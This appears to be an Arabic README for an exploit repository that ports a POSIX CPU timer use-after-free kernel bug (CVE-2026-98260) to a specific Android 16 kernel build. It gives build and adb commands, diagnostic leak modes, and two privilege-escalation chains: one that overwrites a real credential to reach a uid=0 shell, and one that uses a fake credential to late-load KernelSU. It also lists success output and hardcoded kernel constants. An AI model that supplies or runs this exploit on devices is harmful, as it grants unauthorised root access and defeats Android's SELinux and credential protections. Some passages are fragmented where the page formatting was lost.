
استغلال ثغرة use-after-free في مؤقت CPU POSIX في نواة Android للإصدار 6.12.69 يحقق وصولاً إلى صدفة بصلاحيات uid=0 أو تحميل KernelSU المتأخر عبر بيانات اعتماد مزيفة.
نقل CVE-2026-98260 POSIX CPU timer UAF إلى 6.12.69-android16-6-g242e1a07f878
سلسلتان:
timer: كتابة صفرية لـ cred حقيقية → uid=0، u:r:shell:s0 (جذر نطاق shell، bset caps)timer fake: cred مزيفة (full caps) → تحميل متأخر لـ libksud.so الخاص بـ KernelSU المثبّت| المسار | النتيجة |
|---|---|
كتابة صفرية لـ cred حقيقية + setuid(0) + exec sh | uid=0، u:r:shell:s0، ROOT_SHELL_OK |
cred مزيفة + ksud late-load | libksud.so المثبّت (uapi 6)، KSU_LOADED، su كـ u:r:ksu:s0 |
u:r:shell:s0)، يمكنها قراءة tracefs و/proc/slabinfome.weishu.kernelsu)، سيستخدم fake تلقائيًا lib/arm64/libksud.so الخاص بهNDK 28.2 (aarch64، API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# تشخيص
adb shell /data/local/tmp/timer ids # اكتشاف tracefs page event id
adb shell /data/local/tmp/timer leak # إجراء تسريب base/cred/task فقط، دون إطلاق UAF
# uid-0 shell (cred حقيقية)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # sh تفاعلي
# KernelSU (fake cred + ksud المثبّت)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
علامة نجاح fake:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake ستقوم العملية الأب أيضًا بـ park، والاحتفاظ بصفحة fake cred عبر sockettimeout/kill على العمليات parked، وإلا فإن استرجاع init للعقدة القديمة (stale node) قد يسبب panictimer/timer.c exploit
timer/timer الناتج الثابت
tools/*.c مصدر تشخيص النقل
الثوابت الأساسية مكتوبة بشكل صلب في timer/timer.c: مواقع do_timer_create/copy_process، selinux_state، panic_on_warn، حجم task cache الخاص بـ copy_process، رموز init_*
عند تغيير النواة، أعد الاستنتاج باستخدام boot.img/BTF/kallsyms الخاصة بالجهاز؛ تُستخدم الملفات الموجودة تحت tools/ للتحقق من call site وraw record وتسريب timer وقناة استرجاع AF_UNIX بسعة 8 KiB
woshigenm/CVE-2026-98260 (MIT): trigger، كتابة صفرية لـ real-cred، فكرة fake cred/KSUghostlock-app: المرحلة النهائية لـ KernelSU late-load